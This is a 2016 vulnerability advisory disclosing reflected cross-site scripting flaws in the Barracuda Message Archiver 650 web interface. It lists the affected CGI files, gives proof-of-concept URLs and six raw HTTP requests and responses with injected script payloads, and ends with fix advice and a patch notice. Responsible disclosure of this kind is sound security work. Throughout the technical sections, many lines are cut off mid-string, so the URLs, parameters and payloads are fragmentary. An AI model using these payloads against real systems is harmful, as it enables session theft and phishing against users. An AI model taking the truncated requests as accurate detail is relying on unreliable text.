===============
Barracuda Networks Bug Bounty #38 Message Archiver - Multiple Vulnerabilities
References (Source):
====================
http://www.vulnerability-lab.
Barracuda Networks Security ID (BNSEC): BNSEC-1530
Release Date:
=============
2016-01-08
Vulnerability Laboratory ID (VL-ID):
==============================
1108
Common Vulnerability Scoring System:
==============================
3
Product & Service Introduction:
==============================
Barracuda Networks, Inc. offers industry-leading solutions designed to solve mainstream IT problems – efficiently and
cost effectively – while maintaining a level of customer support and satisfaction second to none. Their products span
three distinct markets, including:
1. Content security,
2. Networking and application delivery,
3. Data storage, protection and disaster recovery.
While Barracuda Networks maintain a strong heritage in email and web security appliances, their award-winning portfolio
includes more than a dozen purpose-built solutions that support literally every aspect of the network – providing organizations
of all sizes with true end-to-end protection that can be deployed in hardware, virtual, cloud and mixed form factors.
CitiBank, Coca-Cola, Delta Dental, FedEx, Harvard University, IBM, L`Oreal, Liberty Tax Service, Mythbusters and Spokane Public
Schools are amongst the more than 150,000 organizations worldwide confidently protecting their users, applications and data with
Barracuda Networks’ solutions. The company is privately held with its international headquarters and manufacturing facility based
in Campbell, California. Barracuda Networks has offices in eight international locations and distributors in more than 80 countries.
The Barracuda Message Archiver is a complete and affordable email archiving solution, enabling you to effectively index and preserve
all emails, enhance operational efficiencies and enforce policies for regulatory compliance. By leveraging standard policies and seamless
access to messages, email content is fully indexed and backed up to enable administrators, auditors and end users quick retrieval of any
email message stored in an organization’s email archive.
- Comprehensive archiving
- Exchange stubbing
- Search and retrieval
- Policy management
- Intelligent Storage Manager
- Roles-based interface
- Reporting and statistics
The Barracuda Message Archiver features an easy-to-use Web user interface, creating an intuitive and cost-effective administration tool
for the integrated hardware and software solution. The Web user interface allows administrators to define, manage and control corporate
archiving settings and rules from one central location.
(Copy of the Vendor Homepage: http://www.barraguard.com/650.
Abstract Advisory Information:
==============================
The vulnerability Laboratory Research Team has discovered multiple web validation vulnerabilities in the barracuda Message Archiver v650 Product.
Vulnerability Disclosure Timeline:
==============================
2016-01-08: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Barracuda Networks
Product: Message Archiver 650 - Appliance Application 3.2.0.924
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
==============================
Multiple client side cross site web vulnerabilities has been discovered in the official Barracuda Networks Message Archiver 650 Appliance Web-Application.
The non-persistent cross site scripting web vulnerability allows remote attackers to manipulate client-side web-application to browser requests.
The payload can be injected in multiple parameters of the affected file in order to successfully exploit this web vulnerability.
The vulnerability affects the `view_message_log_detail.cgi` file and the code execution happens when the application renders an error
handling exception or handles an event. During the testing, the value of the vulnerable request parameters was copied into the value
of an HTML tag attribute which was an event handler and or exception handler and was encapsulated in double quotation marks. The payload
ea120`\"><script>alert(1)</
response proving the existence of this vulnerability. These sort of vulnerabilities can result in multiple attack vectors on the client end
which may eventually result in complete compromise of the end user system.
Exploitation of this client side cross site scripting web vulnerability requires only low user interaction. Successful exploitation of
the vulnerability may result in malicious script code being executed in the victims browser resulting in script code injection, phishing,
client-side redirects and similar client-side web attacks.
Vulnerable File(s):
[+] view_message_log_detail.cgi
Vulnerable Parameter(s):
[+] /cgi-mod/view_message_log_
[+] /cgi-mod/view_message_log_
[+] /cgi-mod/view_message_log_
[+] /cgi-mod/view_message_log_
[+] /cgi-mod/view_message_log_
[+] /cgi-mod/view_message_log_
Affected Files(s):
[+] /cgi-mod/view_message_log_
[+] /cgi-mod/get_source.cgi
[+] /cgi-mod/index.cgi
Proof of Concept (PoC):
=======================
The client-side cross site scripting web vulnerability can be exploited by remote attackers with low or medium required user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
POC URL #1: (XSS in error exception handling)
https://archiver.ptest.
&password=
%3Cscript%3Ealert%28/POC/%29%
%3E9335e4791a6&realm=&auth_
searchid=1&action=readmessage&
d/5a/
POC URL #2: (XSS in event handler)
https://archiver.ptest.
&password=
%3aurl%28%23default%23time2%
%281%29%22d9b8f60df30&locale=
archive_searchea120%22%3E%
/script%3E9335e4791a6&action=
d/5a/
POC URL #3: (document cookie)
https://archiver.ptest.
1380626312&locale=en_USea120%
%3E9335e4791a6&realm=&auth_
action=readmessage&scrollbars=
Source Code (Exception Handling)
<html><head></head><body onload="window.parent.
archive_search&locale=en_
</script>ef4164cbd7e'"> </body></html>
Source Code (Event Handling)
<td valign=top height=5 class=message_detail width=80 valign=top ><nobr><b>Subject:</b></nobr><
<td valign=top class=message_detail width=614 height=5 colspan=5>BC_216.129.99.129</
</tr><td valign=top height=5 class=message_detail width=80 valign=top ><nobr><b>Date:</b></nobr></
<td valign=top class=message_detail width=267 height=5 colspan=1>2013-09-30 21:30:59<br>
<a href="/cgi-mod/get_source.cgi?
style="behavior:url(#default#
d/5a/
secondary_tab=archive_
</script>9335e4791a6&file=0|d/
<td height=5 width=3 class=message_detail> </td>
</tr>
<tr>
POC HTTP Requests:
Request #1 (et):
GET /cgi-mod/view_message_log_
</script>f8eb700f5ef&locale=
searchid=1&action=readmessage&
zable=yes&id=0|d/5a/
Host: archiver.ptest.cudasvc.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0
Accept: text/html,application/xhtml+
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: https://archiver.ptest.
auth_type=Local&et=1380626293&
Cookie: ys-folder_list=o%3Acollapsed%
Connection: keep-alive
Response #1
HTTP/1.1 200 OK
Server: BarracudaHTTP 4.0
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Expires: Mon, 01 Oct 2012 12:34:31 GMT
Date: Tue, 01 Oct 2013 12:34:31 GMT
Content-Length: 8431
<html style="margin:0;padding:0;
<link rel="stylesheet" type="text/css" href="/barr
...
<a href="/cgi-mod/get_source.cgi?
</script>f8eb700f5ef&id=0|
d/5a/
d/5a/
Request #2 (en_US)
GET /cgi-mod/view_message_log_
</script>9335e4791a6&realm=&
scrollbars=yes&resizable=yes&
0|d/5a/
Host: archiver.ptest.cudasvc.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0
Accept: text/html,application/xhtml+
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: https://archiver.ptest.
auth_type=Local&et=1380626293&
Cookie: ys-folder_list=o%3Acollapsed%
Connection: keep-alive
Response #2
HTTP/1.1 200 OK
Server: BarracudaHTTP 4.0
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Expires: Sun, 02 Oct 2011 12:36:25 GMT
Date: Tue, 01 Oct 2013 12:36:25 GMT
Content-Length: 177
<html><body onLoad="window.parent.
</script>9335e4791a6'"> </body></html>
Request #3 (password)
GET /cgi-mod/view_message_log_
et=13806263121c006%22%3E
%3Cscript%3Ealert(1)%3C/script
%3Ef8eb700f5ef&locale=en_US&
action=readmessage&scrollbars=
yes&id=0|d/5a/
Host: archiver.ptest.cudasvc.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0
Accept: text/html,application/xhtml+
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: ys-folder_list=javascript%
ys-details_south=o%
ys-details_east=o%3Acollapsed%
ys-details_west=o%3Acollapsed%
%253A1
Response #3
HTTP/1.1 200 OK
Server: BarracudaHTTP 4.0
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Expires: Mon, 01 Oct 2012 18:23:09 GMT
Date: Tue, 01 Oct 2013 18:23:09 GMT
Content-Length: 8474
<html style="margin:0;padding:0;
<link rel="stylesheet" type="text/css" href="/barr
...
<a href="/cgi-mod/get_source.cgi?
</script>e2b3b338db0&et=
...
Request #4 (primary_tab)
GET /cgi-mod/view_message_log_
%3Ef8eb700f5ef&locale=en_US&
</script>4b6dfc58551&
Host: archiver.ptest.cudasvc.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0
Accept: text/html,application/xhtml+
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: ys-folder_list=javascript%
ys-details_south=o%
ys-details_east=o%3Acollapsed%
ys-details_west=o%3Acollapsed%
%253A1
Connection: keep-alive
Response #4
HTTP/1.1 200 OK
Server: BarracudaHTTP 4.0
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Expires: Mon, 01 Oct 2012 18:40:02 GMT
Date: Tue, 01 Oct 2013 18:40:02 GMT
Content-Length: 8525
<html style="margin:0;padding:0;
<link rel="stylesheet" type="text/css" href="/barr
...
</script>f8eb700f5ef&id=0|d/
</script>4b6dfc58551&
...
Request #5 (realm)
GET /cgi-mod/view_message_log_
%3Ef8eb700f5ef&locale=en_US&
</script>99f8452d662&auth_
d/5a/
Host: archiver.ptest.cudasvc.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0
Accept: text/html,application/xhtml+
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: ys-folder_list=javascript%
ys-details_south=o%
ys-details_east=o%3Acollapsed%
ys-details_west=o%3Acollapsed%
%253A1
Connection: keep-alive
Response #5
HTTP/1.1 200 OK
Server: BarracudaHTTP 4.0
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Expires: Mon, 01 Oct 2012 18:33:27 GMT
Date: Tue, 01 Oct 2013 18:33:27 GMT
Content-Length: 8474
<html style="margin:0;padding:0;
<link rel="stylesheet" type="text/css" href="/barr
...
<a href="/cgi-mod/get_source.cgi?
</script>99f8452d662&password=
...
Request #6 (secondary_tab)
GET /cgi-mod/view_message_log_
user=guest&password=
primary_tab=BASIC&secondary_
2"><script>alert(1)</script>
&id=0|d/5a/
Host: archiver.ptest.cudasvc.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0
Accept: text/html,application/xhtml+
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: https://archiver.ptest.
auth_type=Local&et=1380626293&
Cookie: ys-folder_list=o%3Acollapsed%
Connection: keep-alive
Response #6
HTTP/1.1 200 OK
Server: BarracudaHTTP 4.0
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Expires: Sun, 02 Oct 2011 12:43:18 GMT
Date: Tue, 01 Oct 2013 12:43:18 GMT
Content-Length: 177
<html><body onLoad="window.parent.
</script>4fee14c256a&locale=
Solution - Fix & Patch:
=======================
1. Parse the view_message_log_details.cgi input and encode the attached vulnerable parameters.
2. Parse the vulnerable output parameters in the get_source.cgi and index.cgi files
3. Restrict the input parameters and connect it with the regular appliance model filter mechanism
[+] /cgi-mod/view_message_log_
[+] /cgi-mod/get_source.cgi
[+] /cgi-mod/index.cgi
[+] /cgi-mod/view_message_log_
[+] /cgi-mod/view_message_log_
[+] /cgi-mod/view_message_log_
[+] /cgi-mod/view_message_log_
[+] /cgi-mod/view_message_log_
[+] /cgi-mod/view_message_log_
Security Risk:
==============
The security risk of the client-side cross site scripting web vulnerabilities are estimated as medium. (CVSS 3.0)
Note: The vulnerability has been patched by the barracuda networks security team. Te patches are already available in the customer section of the service portal.
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Ateeq Khan (ateeq@evolution-sec.com) [www.vulnerability-lab.com]
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,
policies, deface websites, hack into databases or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com -www.evolution-sec.com
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab -youtube.com/user/
Feeds: vulnerability-lab.com/rss/rss.
Programs: vulnerability-lab.com/submit.
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
(admin@vulnerability-lab.com or research@vulnerability-lab.com
Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™
Komentarų nėra:
Rašyti komentarą